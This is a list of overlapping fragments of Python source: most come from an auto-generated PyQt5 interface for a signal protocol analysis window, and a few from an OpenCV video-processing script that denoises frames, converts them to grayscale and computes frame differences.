"QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lDecimal.sizePolicy().hasHeightForWidth()) self.lDecimal.setSizePolicy(sizePolicy) self.lDecimal.setMaximumSize(QtCore.QSize(16777215, 15)) self.lDecimal.setObjectName(\"lDecimal\") self.horizontalLayout_3.addWidget(self.lDecimal) self.lDecimalSelection = QtWidgets.QLineEdit(self.frame_3)",
"self.lColumnsSelectedText = QtWidgets.QLabel(self.frame_3) self.lColumnsSelectedText.setObjectName(\"lColumnsSelectedText\") self.horizontalLayout_3.addWidget(self.lColumnsSelectedText) self.verticalLayout_3.addLayout(self.horizontalLayout_3) self.verticalLayout_4.addWidget(self.splitter_2) self.frame = QtWidgets.QFrame(self.splitter) self.frame.setFrameShape(QtWidgets.QFrame.StyledPanel) self.frame.setFrameShadow(QtWidgets.QFrame.Raised) self.frame.setObjectName(\"frame\")",
"self.tblViewProtocol.setFrameShape(QtWidgets.QFrame.NoFrame) self.tblViewProtocol.setFrameShadow(QtWidgets.QFrame.Sunken) self.tblViewProtocol.setLineWidth(1) self.tblViewProtocol.setAutoScroll(True) self.tblViewProtocol.setDragDropMode(QtWidgets.QAbstractItemView.DropOnly) self.tblViewProtocol.setAlternatingRowColors(True) self.tblViewProtocol.setSelectionMode(QtWidgets.QAbstractItemView.ExtendedSelection) self.tblViewProtocol.setTextElideMode(QtCore.Qt.ElideNone) self.tblViewProtocol.setVerticalScrollMode(QtWidgets.QAbstractItemView.ScrollPerPixel) self.tblViewProtocol.setHorizontalScrollMode(QtWidgets.QAbstractItemView.ScrollPerPixel) self.tblViewProtocol.setShowGrid(False) self.tblViewProtocol.setGridStyle(QtCore.Qt.NoPen) self.tblViewProtocol.setSortingEnabled(False)",
"1, 1) self.verticalLayout_2.addWidget(self.splitter) self.retranslateUi(FAnalysis) self.stackedWidgetLogicAnalysis.setCurrentIndex(0) QtCore.QMetaObject.connectSlotsByName(FAnalysis) def retranslateUi(self, FAnalysis): _translate = QtCore.QCoreApplication.translate FAnalysis.setWindowTitle(_translate(\"FAnalysis\",",
"your estimations for protocol fields here. To add custom field types use Rightclick",
"QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.btnSaveProto.sizePolicy().hasHeightForWidth()) self.btnSaveProto.setSizePolicy(sizePolicy) self.btnSaveProto.setMaximumSize(QtCore.QSize(16777215, 16777215)) self.btnSaveProto.setBaseSize(QtCore.QSize(0, 0)) icon = QtGui.QIcon.fromTheme(\"document-save\") self.btnSaveProto.setIcon(icon)",
"self.tblViewProtocol = ProtocolTableView(self.frame_3) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Expanding) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.tblViewProtocol.sizePolicy().hasHeightForWidth()) self.tblViewProtocol.setSizePolicy(sizePolicy) self.tblViewProtocol.setAcceptDrops(True) self.tblViewProtocol.setAutoFillBackground(True)",
"QtGui.QIcon.fromTheme(\"list-remove\") self.btnRemoveMessagetype.setIcon(icon) self.btnRemoveMessagetype.setObjectName(\"btnRemoveMessagetype\") self.horizontalLayout.addWidget(self.btnRemoveMessagetype) self.gridLayout.addLayout(self.horizontalLayout, 1, 0, 1, 1) self.verticalLayout_2.addWidget(self.splitter) self.retranslateUi(FAnalysis) self.stackedWidgetLogicAnalysis.setCurrentIndex(0) QtCore.QMetaObject.connectSlotsByName(FAnalysis)",
"PyQt5 import QtCore, QtGui, QtWidgets class Ui_FAnalysis(object): def setupUi(self, FAnalysis): FAnalysis.setObjectName(\"FAnalysis\") FAnalysis.resize(1372, 907)",
"self.horizontalLayout_2.setObjectName(\"horizontalLayout_2\") self.label_5 = QtWidgets.QLabel(self.scrollAreaWidgetContents) self.label_5.setObjectName(\"label_5\") self.horizontalLayout_2.addWidget(self.label_5) self.btnSaveProto = QtWidgets.QToolButton(self.scrollAreaWidgetContents) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed)",
"sizePolicy.setHeightForWidth(self.lEncodingErrors.sizePolicy().hasHeightForWidth()) self.lEncodingErrors.setSizePolicy(sizePolicy) self.lEncodingErrors.setObjectName(\"lEncodingErrors\") self.verticalLayout.addWidget(self.lEncodingErrors) self.lDecodingErrorsValue = QtWidgets.QLabel(self.scrollAreaWidgetContents) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0)",
"sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lSearchCurrent.sizePolicy().hasHeightForWidth()) self.lSearchCurrent.setSizePolicy(sizePolicy) self.lSearchCurrent.setStyleSheet(\"QLabel\\n\" \"{\\n\" \" qproperty-alignment: AlignCenter;\\n\" \"}\") self.lSearchCurrent.setObjectName(\"lSearchCurrent\") self.gridLayout_2.addWidget(self.lSearchCurrent, 0, 4,",
"= QtWidgets.QVBoxLayout(self.scrollAreaWidgetContents) self.verticalLayout.setContentsMargins(0, 0, 0, 0) self.verticalLayout.setObjectName(\"verticalLayout\") self.horizontalLayout_2 = QtWidgets.QHBoxLayout() self.horizontalLayout_2.setObjectName(\"horizontalLayout_2\") self.label_5 =",
"self.lHex.setText(_translate(\"FAnalysis\", \"Hex:\")) self.lDecimal.setText(_translate(\"FAnalysis\", \"Decimal:\")) self.lNumSelectedColumns.setText(_translate(\"FAnalysis\", \"0\")) self.lColumnsSelectedText.setText(_translate(\"FAnalysis\", \"Column(s) selected\")) self.label.setText(_translate(\"FAnalysis\", \"Message type:\")) self.listViewLabelNames.setToolTip(_translate(\"FAnalysis\",",
"sizePolicy.setHeightForWidth(self.btnAnalyze.sizePolicy().hasHeightForWidth()) self.btnAnalyze.setSizePolicy(sizePolicy) self.btnAnalyze.setPopupMode(QtWidgets.QToolButton.MenuButtonPopup) self.btnAnalyze.setToolButtonStyle(QtCore.Qt.ToolButtonTextOnly) self.btnAnalyze.setObjectName(\"btnAnalyze\") self.verticalLayout.addWidget(self.btnAnalyze) self.stackedWidgetLogicAnalysis = QtWidgets.QStackedWidget(self.scrollAreaWidgetContents) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred)",
"= QtWidgets.QLineEdit(self.frame_3) self.lHexSelection.setMaximumSize(QtCore.QSize(16777215, 20)) self.lHexSelection.setAcceptDrops(False) self.lHexSelection.setReadOnly(True) self.lHexSelection.setObjectName(\"lHexSelection\") self.horizontalLayout_3.addWidget(self.lHexSelection) self.lDecimal = QtWidgets.QLabel(self.frame_3) sizePolicy =",
"self.verticalLayout_4 = QtWidgets.QVBoxLayout(self.frame_2) self.verticalLayout_4.setObjectName(\"verticalLayout_4\") self.splitter_2 = QtWidgets.QSplitter(self.frame_2) self.splitter_2.setOrientation(QtCore.Qt.Horizontal) self.splitter_2.setObjectName(\"splitter_2\") self.frame_4 = QtWidgets.QFrame(self.splitter_2) sizePolicy",
"= QtWidgets.QFrame(self.splitter_2) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.frame_4.sizePolicy().hasHeightForWidth()) self.frame_4.setSizePolicy(sizePolicy) self.frame_4.setFrameShape(QtWidgets.QFrame.StyledPanel) self.frame_4.setFrameShadow(QtWidgets.QFrame.Raised) self.frame_4.setObjectName(\"frame_4\")",
"0, 0, 0) self.verticalLayout_5.setObjectName(\"verticalLayout_5\") self.stackedWidgetLogicAnalysis.addWidget(self.pageButtonAnalyzer) self.pageProgressBar = QtWidgets.QWidget() self.pageProgressBar.setObjectName(\"pageProgressBar\") self.verticalLayout_6 = QtWidgets.QVBoxLayout(self.pageProgressBar) self.verticalLayout_6.setContentsMargins(0,",
"self.btnSaveProto.setSizePolicy(sizePolicy) self.btnSaveProto.setMaximumSize(QtCore.QSize(16777215, 16777215)) self.btnSaveProto.setBaseSize(QtCore.QSize(0, 0)) icon = QtGui.QIcon.fromTheme(\"document-save\") self.btnSaveProto.setIcon(icon) self.btnSaveProto.setToolButtonStyle(QtCore.Qt.ToolButtonIconOnly) self.btnSaveProto.setObjectName(\"btnSaveProto\") self.horizontalLayout_2.addWidget(self.btnSaveProto) self.verticalLayout.addLayout(self.horizontalLayout_2)",
"self.pageProgressBar = QtWidgets.QWidget() self.pageProgressBar.setObjectName(\"pageProgressBar\") self.verticalLayout_6 = QtWidgets.QVBoxLayout(self.pageProgressBar) self.verticalLayout_6.setContentsMargins(0, 0, 0, 0) self.verticalLayout_6.setObjectName(\"verticalLayout_6\") self.progressBarLogicAnalyzer",
"self.cbDecoding.addItem(\"\") self.cbDecoding.addItem(\"\") self.cbDecoding.addItem(\"\") self.cbDecoding.addItem(\"\") self.cbDecoding.addItem(\"\") self.verticalLayout.addWidget(self.cbDecoding) self.lEncodingErrors = QtWidgets.QLabel(self.scrollAreaWidgetContents) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Maximum, QtWidgets.QSizePolicy.Preferred)",
"1, 1) self.tblLabelValues = LabelValueTableView(self.frame) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.tblLabelValues.sizePolicy().hasHeightForWidth()) self.tblLabelValues.setSizePolicy(sizePolicy)",
"def setupUi(self, FAnalysis): FAnalysis.setObjectName(\"FAnalysis\") FAnalysis.resize(1372, 907) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(FAnalysis.sizePolicy().hasHeightForWidth())",
"sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lEncodingErrors.sizePolicy().hasHeightForWidth()) self.lEncodingErrors.setSizePolicy(sizePolicy) self.lEncodingErrors.setObjectName(\"lEncodingErrors\") self.verticalLayout.addWidget(self.lEncodingErrors) self.lDecodingErrorsValue = QtWidgets.QLabel(self.scrollAreaWidgetContents) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred)",
"from the previous message is shown.</p></body></html>\")) self.label_3.setText(_translate(\"FAnalysis\", \"Timestamp:\")) self.lTime.setToolTip(_translate(\"FAnalysis\", \"<html><head/><body><p>The <span style=\\\" font-weight:600;\\\">Message</span><span",
"sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.treeViewProtocols.sizePolicy().hasHeightForWidth()) self.treeViewProtocols.setSizePolicy(sizePolicy) self.treeViewProtocols.setAcceptDrops(True) self.treeViewProtocols.setDragEnabled(True) self.treeViewProtocols.setDragDropOverwriteMode(False) self.treeViewProtocols.setDragDropMode(QtWidgets.QAbstractItemView.DragDrop) self.treeViewProtocols.setDefaultDropAction(QtCore.Qt.IgnoreAction) self.treeViewProtocols.setObjectName(\"treeViewProtocols\") self.treeViewProtocols.header().setVisible(False) self.verticalLayout.addWidget(self.treeViewProtocols) self.label_4",
"QtWidgets.QToolButton(self.frame_3) self.btnPrevSearch.setEnabled(False) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.btnPrevSearch.sizePolicy().hasHeightForWidth()) self.btnPrevSearch.setSizePolicy(sizePolicy) self.btnPrevSearch.setMaximumSize(QtCore.QSize(20, 16777215)) icon",
"_translate(\"FAnalysis\", \"NRZ\")) self.cbDecoding.setItemText(1, _translate(\"FAnalysis\", \"Manchester\")) self.cbDecoding.setItemText(2, _translate(\"FAnalysis\", \"Manchester II\")) self.cbDecoding.setItemText(3, _translate(\"FAnalysis\", \"Differential Manchester\"))",
"protocol\")) self.chkBoxShowOnlyDiffs.setText(_translate(\"FAnalysis\", \"Show only diffs in protocol\")) self.chkBoxOnlyShowLabelsInProtocol.setText(_translate(\"FAnalysis\", \"Show only labels in protocol\"))",
"coding: utf-8 -*- # # # WARNING! All changes made in this file",
"sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.btnNextSearch.sizePolicy().hasHeightForWidth()) self.btnNextSearch.setSizePolicy(sizePolicy) self.btnNextSearch.setMaximumSize(QtCore.QSize(20, 16777215)) icon = QtGui.QIcon.fromTheme(\"go-next\")",
"sizePolicy.setHeightForWidth(self.frame_4.sizePolicy().hasHeightForWidth()) self.frame_4.setSizePolicy(sizePolicy) self.frame_4.setFrameShape(QtWidgets.QFrame.StyledPanel) self.frame_4.setFrameShadow(QtWidgets.QFrame.Raised) self.frame_4.setObjectName(\"frame_4\") self.verticalLayout_8 = QtWidgets.QVBoxLayout(self.frame_4) self.verticalLayout_8.setObjectName(\"verticalLayout_8\") self.scrollArea = QtWidgets.QScrollArea(self.frame_4) self.scrollArea.setWidgetResizable(True)",
"self.tblViewProtocol.setTextElideMode(QtCore.Qt.ElideNone) self.tblViewProtocol.setVerticalScrollMode(QtWidgets.QAbstractItemView.ScrollPerPixel) self.tblViewProtocol.setHorizontalScrollMode(QtWidgets.QAbstractItemView.ScrollPerPixel) self.tblViewProtocol.setShowGrid(False) self.tblViewProtocol.setGridStyle(QtCore.Qt.NoPen) self.tblViewProtocol.setSortingEnabled(False) self.tblViewProtocol.setWordWrap(False) self.tblViewProtocol.setCornerButtonEnabled(False) self.tblViewProtocol.setObjectName(\"tblViewProtocol\") self.tblViewProtocol.horizontalHeader().setDefaultSectionSize(40) self.verticalLayout_3.addWidget(self.tblViewProtocol) self.horizontalLayout_3 =",
"# # # WARNING! All changes made in this file will be lost!",
"QtCore.QMetaObject.connectSlotsByName(FAnalysis) def retranslateUi(self, FAnalysis): _translate = QtCore.QCoreApplication.translate FAnalysis.setWindowTitle(_translate(\"FAnalysis\", \"Frame\")) self.label_5.setText(_translate(\"FAnalysis\", \"Protocols:\")) self.btnSaveProto.setText(_translate(\"FAnalysis\", \"Save",
"self.gridLayout_2.addWidget(self.label_3, 0, 13, 1, 1) self.lTime = QtWidgets.QLabel(self.frame_3) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0)",
"QtWidgets class Ui_FAnalysis(object): def setupUi(self, FAnalysis): FAnalysis.setObjectName(\"FAnalysis\") FAnalysis.resize(1372, 907) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred)",
"self.btnRemoveMessagetype = QtWidgets.QToolButton(self.frame) icon = QtGui.QIcon.fromTheme(\"list-remove\") self.btnRemoveMessagetype.setIcon(icon) self.btnRemoveMessagetype.setObjectName(\"btnRemoveMessagetype\") self.horizontalLayout.addWidget(self.btnRemoveMessagetype) self.gridLayout.addLayout(self.horizontalLayout, 1, 0, 1,",
"Indicator</span> indicates the average signal power of the current message.</p></body></html>\")) self.label_2.setText(_translate(\"FAnalysis\", \"RSSI:\")) self.lblRSSI.setToolTip(_translate(\"FAnalysis\",",
"QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lineEditSearch.sizePolicy().hasHeightForWidth()) self.lineEditSearch.setSizePolicy(sizePolicy) self.lineEditSearch.setAcceptDrops(False) self.lineEditSearch.setClearButtonEnabled(True) self.lineEditSearch.setObjectName(\"lineEditSearch\") self.gridLayout_2.addWidget(self.lineEditSearch, 0, 0, 1, 1)",
"self.tblViewProtocol.setVerticalScrollMode(QtWidgets.QAbstractItemView.ScrollPerPixel) self.tblViewProtocol.setHorizontalScrollMode(QtWidgets.QAbstractItemView.ScrollPerPixel) self.tblViewProtocol.setShowGrid(False) self.tblViewProtocol.setGridStyle(QtCore.Qt.NoPen) self.tblViewProtocol.setSortingEnabled(False) self.tblViewProtocol.setWordWrap(False) self.tblViewProtocol.setCornerButtonEnabled(False) self.tblViewProtocol.setObjectName(\"tblViewProtocol\") self.tblViewProtocol.horizontalHeader().setDefaultSectionSize(40) self.verticalLayout_3.addWidget(self.tblViewProtocol) self.horizontalLayout_3 = QtWidgets.QHBoxLayout()",
"power of the current message.</p></body></html>\")) self.label_2.setText(_translate(\"FAnalysis\", \"RSSI:\")) self.lblRSSI.setToolTip(_translate(\"FAnalysis\", \"<html><head/><body><p>The <span style=\\\" font-weight:600;\\\">Received Signal",
"self.horizontalLayout.addWidget(self.btnRemoveMessagetype) self.gridLayout.addLayout(self.horizontalLayout, 1, 0, 1, 1) self.verticalLayout_2.addWidget(self.splitter) self.retranslateUi(FAnalysis) self.stackedWidgetLogicAnalysis.setCurrentIndex(0) QtCore.QMetaObject.connectSlotsByName(FAnalysis) def retranslateUi(self, FAnalysis):",
"Edit.\")) self.lblLabelValues.setText(_translate(\"FAnalysis\", \"Label values for message\")) self.btnMessagetypeSettings.setToolTip(_translate(\"FAnalysis\", \"Settings for message type\")) self.btnMessagetypeSettings.setText(_translate(\"FAnalysis\", \"...\"))",
"self.scrollArea = QtWidgets.QScrollArea(self.frame_4) self.scrollArea.setWidgetResizable(True) self.scrollArea.setObjectName(\"scrollArea\") self.scrollAreaWidgetContents = QtWidgets.QWidget() self.scrollAreaWidgetContents.setGeometry(QtCore.QRect(0, 0, 320, 514)) self.scrollAreaWidgetContents.setObjectName(\"scrollAreaWidgetContents\")",
"self.cbProtoView.addItem(\"\") self.cbProtoView.addItem(\"\") self.cbProtoView.addItem(\"\") self.verticalLayout.addWidget(self.cbProtoView) self.cbDecoding = QtWidgets.QComboBox(self.scrollAreaWidgetContents) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0)",
"0) self.verticalLayout.setObjectName(\"verticalLayout\") self.horizontalLayout_2 = QtWidgets.QHBoxLayout() self.horizontalLayout_2.setObjectName(\"horizontalLayout_2\") self.label_5 = QtWidgets.QLabel(self.scrollAreaWidgetContents) self.label_5.setObjectName(\"label_5\") self.horizontalLayout_2.addWidget(self.label_5) self.btnSaveProto =",
"sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Expanding) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.listViewParticipants.sizePolicy().hasHeightForWidth()) self.listViewParticipants.setSizePolicy(sizePolicy) self.listViewParticipants.setObjectName(\"listViewParticipants\") self.verticalLayout.addWidget(self.listViewParticipants) self.cbProtoView = QtWidgets.QComboBox(self.scrollAreaWidgetContents)",
"made in this file will be lost! from PyQt5 import QtCore, QtGui, QtWidgets",
"\"{\\n\" \" qproperty-alignment: AlignCenter;\\n\" \"}\") self.lSearchCurrent.setObjectName(\"lSearchCurrent\") self.gridLayout_2.addWidget(self.lSearchCurrent, 0, 4, 1, 1) self.lSlash =",
"sizePolicy.setHeightForWidth(self.tblViewProtocol.sizePolicy().hasHeightForWidth()) self.tblViewProtocol.setSizePolicy(sizePolicy) self.tblViewProtocol.setAcceptDrops(True) self.tblViewProtocol.setAutoFillBackground(True) self.tblViewProtocol.setFrameShape(QtWidgets.QFrame.NoFrame) self.tblViewProtocol.setFrameShadow(QtWidgets.QFrame.Sunken) self.tblViewProtocol.setLineWidth(1) self.tblViewProtocol.setAutoScroll(True) self.tblViewProtocol.setDragDropMode(QtWidgets.QAbstractItemView.DropOnly) self.tblViewProtocol.setAlternatingRowColors(True) self.tblViewProtocol.setSelectionMode(QtWidgets.QAbstractItemView.ExtendedSelection) self.tblViewProtocol.setTextElideMode(QtCore.Qt.ElideNone) self.tblViewProtocol.setVerticalScrollMode(QtWidgets.QAbstractItemView.ScrollPerPixel)",
"self.lHexSelection.setObjectName(\"lHexSelection\") self.horizontalLayout_3.addWidget(self.lHexSelection) self.lDecimal = QtWidgets.QLabel(self.frame_3) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lDecimal.sizePolicy().hasHeightForWidth()) self.lDecimal.setSizePolicy(sizePolicy)",
"self.btnSaveProto.setBaseSize(QtCore.QSize(0, 0)) icon = QtGui.QIcon.fromTheme(\"document-save\") self.btnSaveProto.setIcon(icon) self.btnSaveProto.setToolButtonStyle(QtCore.Qt.ToolButtonIconOnly) self.btnSaveProto.setObjectName(\"btnSaveProto\") self.horizontalLayout_2.addWidget(self.btnSaveProto) self.verticalLayout.addLayout(self.horizontalLayout_2) self.treeViewProtocols = ProtocolTreeView(self.scrollAreaWidgetContents)",
"QtWidgets.QLineEdit(self.frame_3) self.lBitsSelection.setMaximumSize(QtCore.QSize(16777215, 20)) self.lBitsSelection.setAcceptDrops(False) self.lBitsSelection.setReadOnly(True) self.lBitsSelection.setObjectName(\"lBitsSelection\") self.horizontalLayout_3.addWidget(self.lBitsSelection) self.lHex = QtWidgets.QLabel(self.frame_3) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed,",
"= QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lSearchTotal.sizePolicy().hasHeightForWidth()) self.lSearchTotal.setSizePolicy(sizePolicy) self.lSearchTotal.setStyleSheet(\"QLabel\\n\" \"{\\n\" \" qproperty-alignment: AlignCenter;\\n\" \"}\")",
"QtWidgets.QLabel(self.scrollAreaWidgetContents) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Maximum, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lEncodingErrors.sizePolicy().hasHeightForWidth()) self.lEncodingErrors.setSizePolicy(sizePolicy) self.lEncodingErrors.setObjectName(\"lEncodingErrors\") self.verticalLayout.addWidget(self.lEncodingErrors) self.lDecodingErrorsValue =",
"\"...\")) self.lEncodingErrors.setText(_translate(\"FAnalysis\", \"Decoding errors for message:\")) self.lDecodingErrorsValue.setText(_translate(\"FAnalysis\", \"0 (0.00%) \")) self.labelDecodingState.setText(_translate(\"FAnalysis\", \"SUCCESS\")) self.cbShowDiffs.setText(_translate(\"FAnalysis\",",
"QtWidgets.QLabel(self.scrollAreaWidgetContents) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lDecodingErrorsValue.sizePolicy().hasHeightForWidth()) self.lDecodingErrorsValue.setSizePolicy(sizePolicy) self.lDecodingErrorsValue.setObjectName(\"lDecodingErrorsValue\") self.verticalLayout.addWidget(self.lDecodingErrorsValue) self.labelDecodingState =",
"sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lNumSelectedColumns.sizePolicy().hasHeightForWidth()) self.lNumSelectedColumns.setSizePolicy(sizePolicy) self.lNumSelectedColumns.setObjectName(\"lNumSelectedColumns\") self.horizontalLayout_3.addWidget(self.lNumSelectedColumns) self.lColumnsSelectedText = QtWidgets.QLabel(self.frame_3) self.lColumnsSelectedText.setObjectName(\"lColumnsSelectedText\") self.horizontalLayout_3.addWidget(self.lColumnsSelectedText) self.verticalLayout_3.addLayout(self.horizontalLayout_3) self.verticalLayout_4.addWidget(self.splitter_2)",
"\"Frame\")) self.label_5.setText(_translate(\"FAnalysis\", \"Protocols:\")) self.btnSaveProto.setText(_translate(\"FAnalysis\", \"Save current protocol..\")) self.label_4.setText(_translate(\"FAnalysis\", \"Participants:\")) self.cbProtoView.setToolTip(_translate(\"FAnalysis\", \"<html><head/><body><p>Set the desired",
"self.horizontalLayout_3 = QtWidgets.QHBoxLayout() self.horizontalLayout_3.setObjectName(\"horizontalLayout_3\") self.lBits = QtWidgets.QLabel(self.frame_3) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0)",
"sizePolicy.setHeightForWidth(self.btnPrevSearch.sizePolicy().hasHeightForWidth()) self.btnPrevSearch.setSizePolicy(sizePolicy) self.btnPrevSearch.setMaximumSize(QtCore.QSize(20, 16777215)) icon = QtGui.QIcon.fromTheme(\"go-previous\") self.btnPrevSearch.setIcon(icon) self.btnPrevSearch.setObjectName(\"btnPrevSearch\") self.gridLayout_2.addWidget(self.btnPrevSearch, 0, 3, 1,",
"self.verticalLayout.addWidget(self.chkBoxOnlyShowLabelsInProtocol) self.btnAnalyze = QtWidgets.QToolButton(self.scrollAreaWidgetContents) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.btnAnalyze.sizePolicy().hasHeightForWidth()) self.btnAnalyze.setSizePolicy(sizePolicy) self.btnAnalyze.setPopupMode(QtWidgets.QToolButton.MenuButtonPopup)",
"0, 1, 1) self.lblLabelValues = QtWidgets.QLabel(self.frame) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lblLabelValues.sizePolicy().hasHeightForWidth())",
"\"Column(s) selected\")) self.label.setText(_translate(\"FAnalysis\", \"Message type:\")) self.listViewLabelNames.setToolTip(_translate(\"FAnalysis\", \"Manage your estimations for protocol fields here."
] |
[
"os.path.exists(\"target_p03_gray.mp4\"): to_grayscale(\"target_p02_denoised.mp4\", \"target_p03_gray.mp4\") gray_movie_viewer = Scrubber( get_frames(cv.VideoCapture(\"target_p03_gray.mp4\")), window_title=\"gray\" ) gray_movie_viewer.create() gray_movie_viewer.wait() if not",
"p03_gray import to_grayscale from p04_diff import to_intensity_difference if not os.path.exists(\"target_p01_valid.mp4\"): extract_valid_frames(\"target.mp4\", \"target_p01_valid.mp4\") color_movie_viewer",
"scaled_diff_viewer.wait() if not os.path.exists(\"target_p05_detect.mp4\"): print(\"Skipping part 5: video does not exist\") print(\"It can",
"to_intensity_difference(\"target_p03_gray.mp4\", \"target_p04_diff.mp4\") scaled_diff_viewer = Scrubber( get_frames(cv.VideoCapture(\"target_p04_diff.mp4\")), window_title=\"scaled diff\" ) scaled_diff_viewer.create() scaled_diff_viewer.wait() if not",
"Scrubber, get_frames from p01_extract_valid_frames import extract_valid_frames from p02_denoise import denoise from p03_gray import",
"window_title=\"gray\" ) gray_movie_viewer.create() gray_movie_viewer.wait() if not os.path.exists(\"target_p04_diff.mp4\"): to_intensity_difference(\"target_p03_gray.mp4\", \"target_p04_diff.mp4\") scaled_diff_viewer = Scrubber( get_frames(cv.VideoCapture(\"target_p04_diff.mp4\")),",
"import to_grayscale from p04_diff import to_intensity_difference if not os.path.exists(\"target_p01_valid.mp4\"): extract_valid_frames(\"target.mp4\", \"target_p01_valid.mp4\") color_movie_viewer =",
"running the 'p05_detect.py' script\") else: gray_movie_viewer = Scrubber( get_frames(cv.VideoCapture(\"target_p05_detect.mp4\")), window_title=\"detect\" ) gray_movie_viewer.create() gray_movie_viewer.wait()",
"import os import cv2 as cv from _util import Scrubber, get_frames from p01_extract_valid_frames",
"print(\"It can be created by running the 'p05_detect.py' script\") else: gray_movie_viewer = Scrubber(",
"extract_valid_frames from p02_denoise import denoise from p03_gray import to_grayscale from p04_diff import to_intensity_difference",
"be created by running the 'p05_detect.py' script\") else: gray_movie_viewer = Scrubber( get_frames(cv.VideoCapture(\"target_p05_detect.mp4\")), window_title=\"detect\"",
"scaled_diff_viewer = Scrubber( get_frames(cv.VideoCapture(\"target_p04_diff.mp4\")), window_title=\"scaled diff\" ) scaled_diff_viewer.create() scaled_diff_viewer.wait() if not os.path.exists(\"target_p05_detect.mp4\"): print(\"Skipping",
"= Scrubber( get_frames(cv.VideoCapture(\"target_p02_denoised.mp4\")), window_title=\"denoised color\" ) denoised_color_movie_viewer.create() denoised_color_movie_viewer.wait() if not os.path.exists(\"target_p03_gray.mp4\"): to_grayscale(\"target_p02_denoised.mp4\", \"target_p03_gray.mp4\")",
"to_grayscale from p04_diff import to_intensity_difference if not os.path.exists(\"target_p01_valid.mp4\"): extract_valid_frames(\"target.mp4\", \"target_p01_valid.mp4\") color_movie_viewer = Scrubber(",
